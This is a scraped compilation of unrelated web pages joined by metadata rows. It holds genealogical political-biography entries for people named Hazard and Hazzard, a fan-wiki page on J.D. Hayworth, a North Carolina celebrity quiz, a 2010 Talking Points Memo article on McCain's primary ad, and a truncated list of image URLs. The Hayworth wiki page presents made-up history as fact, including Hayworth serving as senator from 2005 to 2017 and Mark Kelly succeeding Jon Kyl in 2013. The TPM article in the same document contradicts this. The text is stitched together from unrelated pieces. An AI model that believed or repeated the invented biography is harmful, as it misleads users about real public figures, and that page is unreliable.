Hazard, Julia R. — of Pennsylvania. Prohibition candidate for U.S. Representative from Pennsylvania 8th District, 1922. Female. Burial location unknown. Hazard, Margaret M. — of Allenton, North Kingstown, Washington County, R.I. Democrat. Alternate delegate to Democratic National Convention from Rhode Island, 1948, 1952, 1960, 1964. Female. Presumed deceased. Burial location unknown. Hazard, Nathaniel (1776-1820) — of Newport, Newport County, R.I.; Middletown, Newport County, R.I. Born in Newport, Newport County, R.I., 1776. Democrat. Member of Rhode Island state house of representatives, 1810-19; Speaker of the Rhode Island State House of Representatives, 1810, 1818-19; U.S. Representative from Rhode Island at-large, 1819-20; died in office 1820. Died in Washington, D.C., December 17, 1820 (age about 44 years). Interment at Congressional Cemetery, Washington, D.C.
Relatives: Son of George Hazard; first cousin once removed of Rufus Wheeler Peckham; first cousin twice removed of Rufus Wheeler Peckham Jr.; first cousin four times removed of Stephen E. Peckham; third cousin of Benjamin Hazard; third cousin once removed of Ezekiel Cornell, Ebenezer Hazard and Augustus George Hazard; third cousin thrice removed of Walter Hazard; fourth cousin of Erskine Hazard; fourth cousin once removed of Samuel Austin Gager. Political families: Durfee-Wanton family of Newport, Rhode Island; Cornell family of New York; King-Hazard family of Connecticut and New York; Kellogg-Adams-Seymour-Chapin family of Connecticut and New York; Hatfield-Cornell-Woolsey family of New York (subsets of the Four Thousand Related Politicians). See also congressional biography — Govtrack.us page
Hazard, Roscoe E. — of California. Republican. Candidate for Presidential Elector for California. Presumed deceased. Burial location unknown. Hazard, Rowland Gibson (1801-1888) — also known as Rowland G. Hazard — of Peace Dale, South Kingstown, Washington County, R.I. Born in South Kingstown, Washington County, R.I., October 9, 1801. Republican. Delegate to Republican National Convention from Rhode Island, 1856, 1860, 1868; candidate for Presidential Elector for Rhode Island. Quaker. Died in South Kingstown, Washington County, R.I., June 24, 1888 (age 86 years, 259 days). Interment at Oak Dell Cemetery, South Kingstown, R.I.
Relatives: Son of Rowland Hazard and Mary (Peace) Hazard; married to Caroline Newbold; grandfather of Rowland Gibson Hazard (1855-1918) and Frederick Rowland Hazard; great-grandfather of Frederick Rowland Hazard Jr.. Political family: Hazard family of South Kingstown, Rhode Island. See also Find-A-Grave memorial
Hazard, Rowland Gibson (1855-1918) — also known as Rowland G. Hazard — of South Kingstown, Washington County, R.I. Born in Philadelphia, Philadelphia County, Pa., January 22, 1855. Republican. Candidate for Presidential Elector for Rhode Island; alternate delegate to Republican National Convention from Rhode Island, 1912. Died in Santa Barbara, Santa Barbara County, Calif., January 23, 1918 (age 63 years, 1 days). Interment at Oak Dell Cemetery, South Kingstown, R.I.
Relatives: Son of Rowland Hazard and Margaret (Rood) Hazard; brother of Frederick Rowland Hazard; uncle of Frederick Rowland Hazard Jr.; grandson of Rowland Gibson Hazard (1801-1888). Political family: Hazard family of South Kingstown, Rhode Island. See also Find-A-Grave memorial
Hazard, Rowland K. — U.S. Attorney for Canal Zone, 1952-70. Presumed deceased. Burial location unknown. Hazard, Rowland R., Jr. — of Newport, Newport County, R.I. Republican. Delegate to Republican National Convention from Rhode Island, 1860. Burial location unknown. Hazard, Samuel — of Massachusetts. U.S. Consul in Archangel, 1811-14; Antwerp, 1814-17. Burial location unknown. Hazard, Mrs. T. P. — of South Kingstown, Washington County, R.I. Republican. Alternate delegate to Republican National Convention from Rhode Island, 1932. Female. Burial location unknown. Hazard, Thomas P. — of Peace Dale, South Kingstown, Washington County, R.I. Republican. Alternate delegate to Republican National Convention from Rhode Island, 1932; Rhode Island general treasurer; elected 1938. Burial location unknown. Hazard, Walter (1859-1930) — of Georgetown, Georgetown County, S.C. Born in Georgetown, Georgetown District (now Georgetown County), S.C., December 25, 1859. Lawyer; newspaper editor; member of South Carolina state house of representatives from Georgetown County, 1882-84, 1888-92; member of South Carolina state senate from Georgetown County, 1892-93. Methodist; later Episcopalian. Died in Georgetown, Georgetown County, S.C., February 6, 1930 (age 70 years, 43 days). Interment at Prince George Winyah Cemetery, Georgetown, S.C.
Relatives: Son of Benjamin Ingell Hazard and Sarah Freeborn (Ingell) Hazard; brother of Harriet Wilbour 'Hattie' Hazard (who married John Stanyarne Wilson); married, October 17, 1882, to Jessie Minnie Tamplet; married, December 7, 1897, to Florence Adele Tamplet; first cousin thrice removed of Benjamin Hazard; third cousin thrice removed of Nathaniel Hazard. Political families: Cornell family of New York; King-Hazard family of Connecticut and New York; Kellogg-Adams-Seymour-Chapin family of Connecticut and New York (subsets of the Four Thousand Related Politicians). See also Find-A-Grave memorial
Hazard, Ward C. — of Norwich, Chenango County, N.Y. Republican. Postmaster at Norwich, N.Y., 1954-63. Presumed deceased. Burial location unknown. Hazard, William A. — of Cedarhurst, Nassau County, Long Island, N.Y. Democrat. Delegate to Democratic National Convention from New York, 1896; National Democratic candidate for U.S. Representative from New York 1st District, 1896. Burial location unknown.
HAZZARD: See also Edward Hazzard East — John Floyd — John Worth Kern — Thomas O. Milliken Hazzard, Daniel — of Delaware. Candidate for Governor of Delaware, 1823. Burial location unknown. Hazzard, David (1781-1864) — of Milton, Sussex County, Del. Born May 18, 1781. Whig. Governor of Delaware, 1830-33; delegate to Whig National Convention from Delaware, 1839 (Convention Vice-President). Died July 18, 1864 (age 83 years, 61 days). Interment at Methodist Episcopal Cemetery, Milton, Del.
See also National Governors Association biography
Hazzard, J. D. — of Florida. Progressive. Candidate for U.S. Representative from Florida 1st District, 1912. Burial location unknown. Hazzard, James D. — of Kent County, Mich. Democrat. Candidate for Michigan state house of representatives 91st District, 1970. Still living as of 1970. Hazzard, John C. — of Roselle, New Castle County, Del.; Wilmington, New Castle County, Del. Democrat. Delegate to Democratic National Convention from Delaware, 1944, 1948 (alternate); Delaware Democratic state chair, 1945; member of Democratic National Committee from Delaware, 1954. Presumed deceased. Burial location unknown. Hazzard, Marshall P. — of Sussex County, Del. Member of Delaware state house of representatives from Sussex County 10th District, 1929-30. Burial location unknown. Hazzard, P. A. — of Colorado City, Mitchell County, Tex. Postmaster at Colorado City, Tex., 1887-1901. Burial location unknown. Hazzard, Ronald Thomas — also known as Ronald T. Hazzard — of Jersey City, Hudson County, N.J. Republican. Candidate for New Jersey state house of assembly, 1967 (District 12-B), 1973 (33rd District). Still living as of 1973.
|
|||||||
3358
|
dbpedia
|
0
| 14
|
https://sohelpmegod.fandom.com/wiki/J.D._Hayworth
|
en
|
J.D. Hayworth
|
https://static.wikia.nocookie.net/sohelpmegod/images/e/e1/J.d._hayworth.jpg/revision/latest?cb=20240127123543
|
https://static.wikia.nocookie.net/sohelpmegod/images/e/e1/J.d._hayworth.jpg/revision/latest?cb=20240127123543
|
[
"https://static.wikia.nocookie.net/sohelpmegod/images/e/e1/J.d._hayworth.jpg/revision/latest/scale-to-width-down/275?cb=20240127123543",
"https://static.wikia.nocookie.net/6a181c72-e8bf-419b-b4db-18fd56a0eb60",
"https://static.wikia.nocookie.net/6c42ce6a-b205-41f5-82c6-5011721932e7",
"https://static.wikia.nocookie.net/464fc70a-5090-490b-b47e-0759e89c263f",
"https://static.wikia.nocookie.net/f7bb9d33-4f9a-4faa-88fe-2a0bd8138668"
] |
[] |
[] |
[
""
] | null |
[
"Contributors to So Help Me God! Wiki"
] |
2024-07-29T22:27:06+00:00
|
John David Hayworth Jr. (born July 12, 1958) is an American Republican politician and television host who served as United States Senator from Arizona from 2005 until 2017. Hayworth chaired the Senate Armed Services Committee from 2015 until 2017. He was United States Representative from 1995...
|
en
|
https://static.wikia.nocookie.net/sohelpmegod/images/4/4a/Site-favicon.ico/revision/latest?cb=20240816160726
|
So Help Me God! Wiki
|
https://sohelpmegod.fandom.com/wiki/J.D._Hayworth
|
J.D. Hayworth United States Senator from Arizona In office:
January 3, 2005 – January 3, 2017 Preceded by: John McCain Succeded by: Kyrsten Sinema Chair of the Senate Armed Services Committee In office:
January 3, 2015 - January 3, 2017 Preceded by: Jack Reed Succeeded by: Ben Sasse Member of the U.S. House of Representatives from Arizona In office:
January 3, 1995 – January 3, 2005 Preceded by: Karen English Succeeded by: David Schweikert Constituency: 5th district (1993-2003)
6th district (2003-2013) Biography Born: July 12, 1958
High Point, North Carolina, U.S. Political party: Republican Spouse: Mary Hayworth (1989–present) Children: 3 Alma mater:
North Carolina State University
Occupation: Politician, television host Religion: Signature:
John David Hayworth Jr. (born July 12, 1958) is an American Republican politician and television host who served as United States Senator from Arizona from 2005 until 2017. Hayworth chaired the Senate Armed Services Committee from 2015 until 2017. He was United States Representative from 1995 until 2005.
Hayworth won a 1994 House race against Karen English, serving for five terms until running for the Senate seat vacated by John McCain in 2004. Hayworth was a staunch conservative, as was known for being flashy and in the limelight. He passed on a 2012 presidential run. Hayworth became senior Senator in 2013 when Jon Kyl retired and was succeeded by Democrat Mark Kelly.
|
||
3358
|
dbpedia
|
3
| 16
|
https://www.jetpunk.com/quizzes/famous-people-from-north-carolina
|
en
|
Famous People from North Carolina
|
[
"https://www.jetpunk.com/img/logo-with-text.svg",
"https://jetpunk.b-cdn.net/img/user-img/89/8960b619f0-235.webp",
"https://www.jetpunk.com/img/user-img/ea/ead5c85231-235.webp",
"https://www.jetpunk.com/img/user-img/17/1765ea0535-235.webp",
"https://www.jetpunk.com/img/user-img/be/befd985c68-235.webp",
"https://www.jetpunk.com/img/user-img/de/dedc8f17bb-235.webp",
"https://www.jetpunk.com/img/user-img/c9/c9d447b61a-235.webp",
"https://www.jetpunk.com/img/user-img/98/98fe35fe14-235.webp",
"https://www.jetpunk.com/img/user-img/60/601ce037ed-235.webp",
"https://www.jetpunk.com/img/user-img/c7/c7a3e6fcd2-235.webp"
] |
[] |
[] |
[
""
] | null |
[] | null |
President and duelist? His airness? Name these famous people from the state of North Carolina.
|
en
|
/apple-touch-icon.png
|
JetPunk
|
https://www.jetpunk.com/quizzes/famous-people-from-north-carolina
|
Clue
Hometown
Answer
President and duelist
-
Andrew Jackson
The first President to be impeached
Raleigh
Andrew Johnson
Wife of the 1996 Republican nominee who ran for President herself
Salisbury
Elizabeth Dole
"Rockin' the Suburbs" pianist
Winston-Salem
Ben Folds
First lady who saved a painting from the White House
New Garden
Dolley Madison
Runner-up to Ruben Studdard on "American Idol"
Raleigh
Clay Aiken
Tenor saxophone player who recorded "A Love Supreme"
High Point
John Coltrane
Star of a TV show set in Mayberry
Mt. Airy
Andy Griffith
NASCAR driver known as "The Intimidator"
Kannapolis
Dale Earnhardt
Possibly the greatest basketball player of all time
Wilmington
Michael Jordan
Televangelist, and spiritual advisor to several Presidents
Charlotte
Billy Graham
"Ender's Game" author
Greensboro
Orson Scott Card
Longtime Duke basketball coach
Durham
Mike Krzyzewski
UNC basketball coach, 1961-1997
Chapel Hill
Dean Smith
Gay comedian who wrote "Me Talk Pretty One Day"
Raleigh
David Sedaris
First English person to be born in America, in 1587
Roanoke Colony
Virginia Dare
"I Know Why the Caged Bird Sings" writer who spoke at
Clinton's inauguration
Winston-Salem
Maya Angelou
|
||||
3358
|
dbpedia
|
2
| 60
|
https://talkingpointsmemo.com/dc/the-new-demon-sheep-mccain-video-bashes-hayworth-for-believing-in-dracula
|
en
|
The New Demon Sheep? McCain Video Bashes Hayworth For Believing In Dracula
|
[
"https://talkingpointsmemo.com/wp-content/themes/talkingpointsmemo/assets/images/logo/TPMRedes_PrimeLogo_Red.svg",
"https://talkingpointsmemo.com/wp-content/themes/talkingpointsmemo/assets/images/logo/TPM-logo.svg?v=0",
"https://talkingpointsmemo.com/wp-content/uploads/2024/06/GettyImages-1230456377.jpg?w=150&h=150&crop=1",
"https://talkingpointsmemo.com/wp-content/uploads/2024/08/GettyImages-2153450951.jpg?w=150&h=150&crop=1",
"https://talkingpointsmemo.com/wp-content/uploads/2024/08/GettyImages-521175026.jpg?w=150&h=150&crop=1",
"https://talkingpointsmemo.com/wp-content/uploads/2024/08/GettyImages-2166756923.jpg?w=150&h=150&crop=1",
"https://talkingpointsmemo.com/wp-content/uploads/2013/08/y88igsr7fme3wfo0sc53.jpg?w=490",
"https://talkingpointsmemo.com/wp-content/uploads/2021/06/GettyImages-1233339153-scaled.jpg?w=804",
"https://talkingpointsmemo.com/wp-content/uploads/2021/09/wealth-tax.jpg?w=804",
"https://talkingpointsmemo.com/wp-content/uploads/2020/09/GettyImages-1228562025.jpg?w=804",
"https://talkingpointsmemo.com/wp-content/uploads/2020/11/GettyImages-1286218523-scaled.jpg?w=804",
"https://talkingpointsmemo.com/wp-content/themes/talkingpointsmemo/assets/images/logo/TPMRedes_FullLogo_GrayLight.svg"
] |
[
"http://www.youtube.com/v/xULUb98TNwk&hl=en_US&fs=1&"
] |
[] |
[
""
] | null |
[
"Rachel Slajda",
"Josh Kovensky"
] |
2010-04-12T15:44:00+00:00
|
In a new web video, Sen. John McCain (R-AZ) paints his primary challenger J.D. Hayworth as a birth-certificate-searching, horse-marriage-fearing…
|
en
|
TPM – Talking Points Memo
|
https://talkingpointsmemo.com/dc/the-new-demon-sheep-mccain-video-bashes-hayworth-for-believing-in-dracula
|
In a new web video, Sen. John McCain (R-AZ) paints his primary challenger J.D. Hayworth as a birth-certificate-searching, horse-marriage-fearing, Dracula-believing whackadoo.
Hayworth, a former congressman, is mounting a challenge from the right and attacking McCain as overly moderate. Although Hayworth is still lagging in the polls, he could give McCain a serious run for his money.
The video, using clips from the Lion King and Mars Attacks, says Hayworth considers the “most pressing challenges” to be President Obama’s birthplace, interspecies marriage and whether Dracula is real. Also, martians.
Watch:
The Dracula thing, if you’re wondering, is a reference to Hayworth’s reaction when the former Arizona attorney general said, “Someone needs to drive a wooden stake through this guy’s heart.”
Hayworth responded humorlessly: “This cavalier death threat that he issued is over the top.”
Whatever you think of McCain, the spot is surely a challenge to Carly Fiorina’s Demon Sheep for web video of the year.
|
|||||
3358
|
dbpedia
|
3
| 94
|
https://www.nctripping.com/facts-about-north-carolina/
|
en
|
125+ Important Facts About North Carolina You Should Know (History, Geography, and More!)
|
[
"https://www.nctripping.com/wp-content/uploads/2021/12/NCTripping-Logo-20222.png",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-New-Bern-First-Permanent-Capital.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-New-Bern-First-Permanent-Capital-300x225.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-New-Bern-First-Permanent-Capital-600x451.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-New-Bern-First-Permanent-Capital-150x113.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-New-Bern-First-Permanent-Capital.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Venus-Flytrap-in-Wilmington.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Venus-Flytrap-in-Wilmington-300x198.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Venus-Flytrap-in-Wilmington-600x397.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Venus-Flytrap-in-Wilmington-150x99.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Venus-Flytrap-in-Wilmington.jpg",
"https://www.nctripping.com/wp-content/uploads/2021/12/Unique-Things-to-Do-in-North-Carolina-Museum-of-the-Cherokee-Indian.jpg 700w, https://www.nctripping.com/wp-content/uploads/2021/12/Unique-Things-to-Do-in-North-Carolina-Museum-of-the-Cherokee-Indian-300x237.jpg 300w, https://www.nctripping.com/wp-content/uploads/2021/12/Unique-Things-to-Do-in-North-Carolina-Museum-of-the-Cherokee-Indian-600x474.jpg 600w, https://www.nctripping.com/wp-content/uploads/2021/12/Unique-Things-to-Do-in-North-Carolina-Museum-of-the-Cherokee-Indian-150x119.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2021/12/Unique-Things-to-Do-in-North-Carolina-Museum-of-the-Cherokee-Indian.jpg",
"https://www.nctripping.com/wp-content/uploads/2020/03/Old-Salem-North-Carolina-Facts-Image.jpg 700w, https://www.nctripping.com/wp-content/uploads/2020/03/Old-Salem-North-Carolina-Facts-Image-600x404.jpg 600w, https://www.nctripping.com/wp-content/uploads/2020/03/Old-Salem-North-Carolina-Facts-Image-300x202.jpg 300w",
"https://www.nctripping.com/wp-content/uploads/2020/03/Old-Salem-North-Carolina-Facts-Image.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fort-Dobbs-Statesville-French-and-Indian-War-Battle-Site.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fort-Dobbs-Statesville-French-and-Indian-War-Battle-Site-300x198.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fort-Dobbs-Statesville-French-and-Indian-War-Battle-Site-600x397.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fort-Dobbs-Statesville-French-and-Indian-War-Battle-Site-150x99.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fort-Dobbs-Statesville-French-and-Indian-War-Battle-Site.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-First-Declaration-of-Independence-Halifax-Resolves.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-First-Declaration-of-Independence-Halifax-Resolves-300x198.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-First-Declaration-of-Independence-Halifax-Resolves-600x397.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-First-Declaration-of-Independence-Halifax-Resolves-150x99.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-First-Declaration-of-Independence-Halifax-Resolves.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Lafayette-Memorial-Fayetteville-First-City-Named-After-Marquis-de-Lafayette.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Lafayette-Memorial-Fayetteville-First-City-Named-After-Marquis-de-Lafayette-300x225.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Lafayette-Memorial-Fayetteville-First-City-Named-After-Marquis-de-Lafayette-600x450.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Lafayette-Memorial-Fayetteville-First-City-Named-After-Marquis-de-Lafayette-150x113.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Lafayette-Memorial-Fayetteville-First-City-Named-After-Marquis-de-Lafayette.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Reed-Gold-Mine-Cabarrus-County-NC-Gold-Rush.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Reed-Gold-Mine-Cabarrus-County-NC-Gold-Rush-300x199.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Reed-Gold-Mine-Cabarrus-County-NC-Gold-Rush-600x398.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Reed-Gold-Mine-Cabarrus-County-NC-Gold-Rush-150x99.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Reed-Gold-Mine-Cabarrus-County-NC-Gold-Rush.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Bennett-Place-Durham-NC-End-of-Civil-War-Surrender.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Bennett-Place-Durham-NC-End-of-Civil-War-Surrender-300x225.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Bennett-Place-Durham-NC-End-of-Civil-War-Surrender-600x450.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Bennett-Place-Durham-NC-End-of-Civil-War-Surrender-150x113.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Bennett-Place-Durham-NC-End-of-Civil-War-Surrender.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Princeville-NC-First-African-American-Town.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Princeville-NC-First-African-American-Town-300x225.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Princeville-NC-First-African-American-Town-600x450.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Princeville-NC-First-African-American-Town-150x113.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Princeville-NC-First-African-American-Town.jpg",
"https://www.nctripping.com/wp-content/uploads/2020/03/Babe-Ruth-Historical-Marker-Fayetteville-NC-Image.jpg 350w, https://www.nctripping.com/wp-content/uploads/2020/03/Babe-Ruth-Historical-Marker-Fayetteville-NC-Image-199x300.jpg 199w",
"https://www.nctripping.com/wp-content/uploads/2020/03/Babe-Ruth-Historical-Marker-Fayetteville-NC-Image.jpg",
"https://www.nctripping.com/wp-content/uploads/2020/03/Seagrove-Pottery-Facts-About-North-Carolina-Post-Image.jpg 350w, https://www.nctripping.com/wp-content/uploads/2020/03/Seagrove-Pottery-Facts-About-North-Carolina-Post-Image-199x300.jpg 199w",
"https://www.nctripping.com/wp-content/uploads/2020/03/Seagrove-Pottery-Facts-About-North-Carolina-Post-Image.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fontana-Dam-NC.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fontana-Dam-NC-300x200.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fontana-Dam-NC-600x399.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fontana-Dam-NC-150x100.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Fontana-Dam-NC.jpg",
"https://www.nctripping.com/wp-content/uploads/2020/03/Facts-About-North-Carolina-Greensboro-Four-Sitin-Image.jpg 700w, https://www.nctripping.com/wp-content/uploads/2020/03/Facts-About-North-Carolina-Greensboro-Four-Sitin-Image-600x450.jpg 600w, https://www.nctripping.com/wp-content/uploads/2020/03/Facts-About-North-Carolina-Greensboro-Four-Sitin-Image-300x225.jpg 300w",
"https://www.nctripping.com/wp-content/uploads/2020/03/Facts-About-North-Carolina-Greensboro-Four-Sitin-Image.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Harrahs-Cherokee-Casino-Resort.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Harrahs-Cherokee-Casino-Resort-300x225.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Harrahs-Cherokee-Casino-Resort-600x450.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Harrahs-Cherokee-Casino-Resort-150x113.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Harrahs-Cherokee-Casino-Resort.jpg",
"https://www.nctripping.com/wp-content/uploads/2020/03/Facts-of-North-Carolina-Breweries-Image.jpg 700w, https://www.nctripping.com/wp-content/uploads/2020/03/Facts-of-North-Carolina-Breweries-Image-600x398.jpg 600w, https://www.nctripping.com/wp-content/uploads/2020/03/Facts-of-North-Carolina-Breweries-Image-300x199.jpg 300w",
"https://www.nctripping.com/wp-content/uploads/2020/03/Facts-of-North-Carolina-Breweries-Image.jpg",
"https://www.nctripping.com/wp-content/uploads/2020/03/North-Carolina-State-Facts-Pepsi-Original-Location-Image.jpg 700w, https://www.nctripping.com/wp-content/uploads/2020/03/North-Carolina-State-Facts-Pepsi-Original-Location-Image-600x303.jpg 600w, https://www.nctripping.com/wp-content/uploads/2020/03/North-Carolina-State-Facts-Pepsi-Original-Location-Image-300x152.jpg 300w",
"https://www.nctripping.com/wp-content/uploads/2020/03/North-Carolina-State-Facts-Pepsi-Original-Location-Image.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Nina-Simone-Mural-Tryon.jpg 700w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Nina-Simone-Mural-Tryon-300x200.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Nina-Simone-Mural-Tryon-600x399.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Nina-Simone-Mural-Tryon-150x100.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Nina-Simone-Mural-Tryon.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Dale-Earnhardt-Jr-at-NASCAR-Hall-of-Fame-Charlotte.jpg 350w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Dale-Earnhardt-Jr-at-NASCAR-Hall-of-Fame-Charlotte-199x300.jpg 199w, https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Dale-Earnhardt-Jr-at-NASCAR-Hall-of-Fame-Charlotte-150x226.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/01/Facts-About-North-Carolina-Dale-Earnhardt-Jr-at-NASCAR-Hall-of-Fame-Charlotte.jpg",
"https://www.nctripping.com/wp-content/uploads/2023/06/Battleship-North-Carolina.jpg 1200w, https://www.nctripping.com/wp-content/uploads/2023/06/Battleship-North-Carolina-300x150.jpg 300w, https://www.nctripping.com/wp-content/uploads/2023/06/Battleship-North-Carolina-1024x512.jpg 1024w, https://www.nctripping.com/wp-content/uploads/2023/06/Battleship-North-Carolina-768x384.jpg 768w, https://www.nctripping.com/wp-content/uploads/2023/06/Battleship-North-Carolina-600x300.jpg 600w, https://www.nctripping.com/wp-content/uploads/2023/06/Battleship-North-Carolina-150x75.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2023/06/Battleship-North-Carolina.jpg",
"https://www.nctripping.com/wp-content/uploads/2019/12/WNC-Nature-Center-Asheville-NC-Travel-Guide-Featured-Image.jpg 1200w, https://www.nctripping.com/wp-content/uploads/2019/12/WNC-Nature-Center-Asheville-NC-Travel-Guide-Featured-Image-600x300.jpg 600w, https://www.nctripping.com/wp-content/uploads/2019/12/WNC-Nature-Center-Asheville-NC-Travel-Guide-Featured-Image-300x150.jpg 300w, https://www.nctripping.com/wp-content/uploads/2019/12/WNC-Nature-Center-Asheville-NC-Travel-Guide-Featured-Image-1024x512.jpg 1024w, https://www.nctripping.com/wp-content/uploads/2019/12/WNC-Nature-Center-Asheville-NC-Travel-Guide-Featured-Image-768x384.jpg 768w",
"https://www.nctripping.com/wp-content/uploads/2019/12/WNC-Nature-Center-Asheville-NC-Travel-Guide-Featured-Image.jpg",
"https://www.nctripping.com/wp-content/uploads/2021/04/Forest-Heritage-Scenic-Byway-NC.jpg 1200w, https://www.nctripping.com/wp-content/uploads/2021/04/Forest-Heritage-Scenic-Byway-NC-300x150.jpg 300w, https://www.nctripping.com/wp-content/uploads/2021/04/Forest-Heritage-Scenic-Byway-NC-1024x512.jpg 1024w, https://www.nctripping.com/wp-content/uploads/2021/04/Forest-Heritage-Scenic-Byway-NC-768x384.jpg 768w, https://www.nctripping.com/wp-content/uploads/2021/04/Forest-Heritage-Scenic-Byway-NC-150x75.jpg 150w, https://www.nctripping.com/wp-content/uploads/2021/04/Forest-Heritage-Scenic-Byway-NC-600x300.jpg 600w",
"https://www.nctripping.com/wp-content/uploads/2021/04/Forest-Heritage-Scenic-Byway-NC.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/02/Facts-About-Fayetteville-NC.jpg 1200w, https://www.nctripping.com/wp-content/uploads/2022/02/Facts-About-Fayetteville-NC-300x150.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/02/Facts-About-Fayetteville-NC-1024x512.jpg 1024w, https://www.nctripping.com/wp-content/uploads/2022/02/Facts-About-Fayetteville-NC-768x384.jpg 768w, https://www.nctripping.com/wp-content/uploads/2022/02/Facts-About-Fayetteville-NC-600x300.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/02/Facts-About-Fayetteville-NC-150x75.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/02/Facts-About-Fayetteville-NC.jpg",
"https://www.nctripping.com/wp-content/uploads/2022/10/Waterrock-Knob-NC.jpg 1200w, https://www.nctripping.com/wp-content/uploads/2022/10/Waterrock-Knob-NC-300x150.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/10/Waterrock-Knob-NC-1024x512.jpg 1024w, https://www.nctripping.com/wp-content/uploads/2022/10/Waterrock-Knob-NC-768x384.jpg 768w, https://www.nctripping.com/wp-content/uploads/2022/10/Waterrock-Knob-NC-600x300.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/10/Waterrock-Knob-NC-150x75.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/10/Waterrock-Knob-NC.jpg",
